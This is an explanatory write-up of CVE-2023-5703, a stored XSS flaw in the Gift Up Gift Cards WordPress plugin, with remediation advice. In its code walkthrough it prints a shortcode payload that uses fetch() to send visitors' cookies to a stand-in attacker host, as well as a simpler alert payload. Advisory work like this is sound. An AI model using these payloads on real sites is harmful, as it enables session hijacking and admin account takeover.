CVE-2023-5703 - How Gift Up Gift Cards for WooCommerce Became a Target for Stored XSS

The WordPress ecosystem runs on thousands of plugins, which add new features and value to every type of website. One of those plugins is Gift Up Gift Cards – WooCommerce, which makes it simple for small shops to sell and manage their own gift cards. But in October 2023, researchers discovered a critical vulnerability: CVE-2023-5703. In this long-read, I’ll walk you—step by step—through what happened, how the exploit works, code examples, and what you must do about it. This isn’t your average patch notice; it’s essential knowledge for WordPress site owners, admins, and developers.

What is CVE-2023-5703?

CVE-2023-5703 is a Stored Cross-Site Scripting (XSS) vulnerability affecting all versions of Gift Up Gift Cards for WordPress and WooCommerce up to and including 2.20.1. It lets authenticated attackers inject malicious scripts on your website by misusing the plugin’s giftup shortcode, due to poor input sanitization and output escaping.

Who is vulnerable?
If you use the Gift Up Gift Card plugin (any version ≤ 2.20.1) on WordPress – yes, your site can be targeted.

Who can attack?
Any user with contributor-level access or higher can run this attack. Even a low-level hired writer (or a compromised contributor account) could plant the exploit.

How the Vulnerability Happens

Many plugins use *shortcodes* to embed features within post content. The Gift Up plugin has the [giftup] shortcode, which lets you show the gift card widget. Like many shortcodes, it supports attributes like language or customization options.

Here’s the problem: The plugin fails to sanitize (clean up) or escape (encode safely) the attribute values users put in. This creates an opening where a user can inject malicious JavaScript into a shortcode’s attribute, which then gets saved (“stored”) in the database and executed by any innocent visitor who views the page.

Code Walkthrough: Simple Exploit Example

Let’s see it in action. Suppose an attacker with contributor privileges creates a new draft post and inserts:

[giftup data-language="en" data-title="<img src=x onerror=alert('XSS')>"]

WordPress saves this shortcode text in the post.

- When a visitor – even an administrator – loads the page, the plugin renders the shortcode, *directly inserting the attacker’s malicious code into the page.*
- The browser sees <img src=x onerror=alert('XSS')>, which pops the attacker’s “XSS” alert box, but in reality, it could steal cookies, session tokens, or perform any action on behalf of the user.

Here’s a more “weaponized” exploit, stealing the admin’s login token

[giftup data-language="en" data-title='<img src=x onerror="fetch('https://evil-attacker.com/steal?cookie='+document.cookie)">']

When an admin loads the page, their cookies are silently sent to the attacker’s site.

Proof of Concept: Full HTML Breakdown

When WordPress renders the post, the plugin’s faulty code takes the attributes and outputs raw HTML like this:

<div class="giftup-widget" data-language="en" data-title="<img src=x onerror=alert('Hello!')>"></div>

The <img ...> tag in data-title is not escaped, so the browser interprets and executes it.

How Serious is This?

Very!

Can be used for session hijacking, phishing overlays, and admin account takeover.

- Works with any contributor or higher user—making privilege escalation (gaining site control from limited access) trivial.

Original Disclosure

- Patchstack Database Entry for CVE-2023-5703
- Wordfence Advisory
- Official Plugin Page

How to Fix & Final Advice

- Update immediately to at least version 2.20.2 from your Plugins page or WordPress.org.

Regularly review your site user list; remove untrusted accounts with Contributor or higher roles.

- If your site is/was exposed, do a full malware and security scan, and reset admin passwords.
- Consider deploying a security plugin like Wordfence for future real-time alerts.

Conclusion

*CVE-2023-5703* is a classic case of a small, overlooked input/output mistake leading to a big security flaw. As plugins gain more power through shortcodes and dynamic content, site owners and developers must be extra cautious: always sanitize input, always escape output. Stay updated—not just your plugins, but your knowledge, too.

*If you found malicious shortcodes or suspect your site was targeted, take action now: update, clean, and harden your workflows. Security isn’t a one-time thing. Stay safe out there!*

References

- Patchstack - CVE-2023-5703 Details
- Wordfence Vulnerability Report
- Official Gift Up Plugin


Remember:
A single bad line of code makes everyone’s website a target. Regular updates are your best defense.
Stay sharp!

Timeline

Published on: 11/07/2023 12:15:13 UTC
Last modified on: 11/14/2023 19:46:23 UTC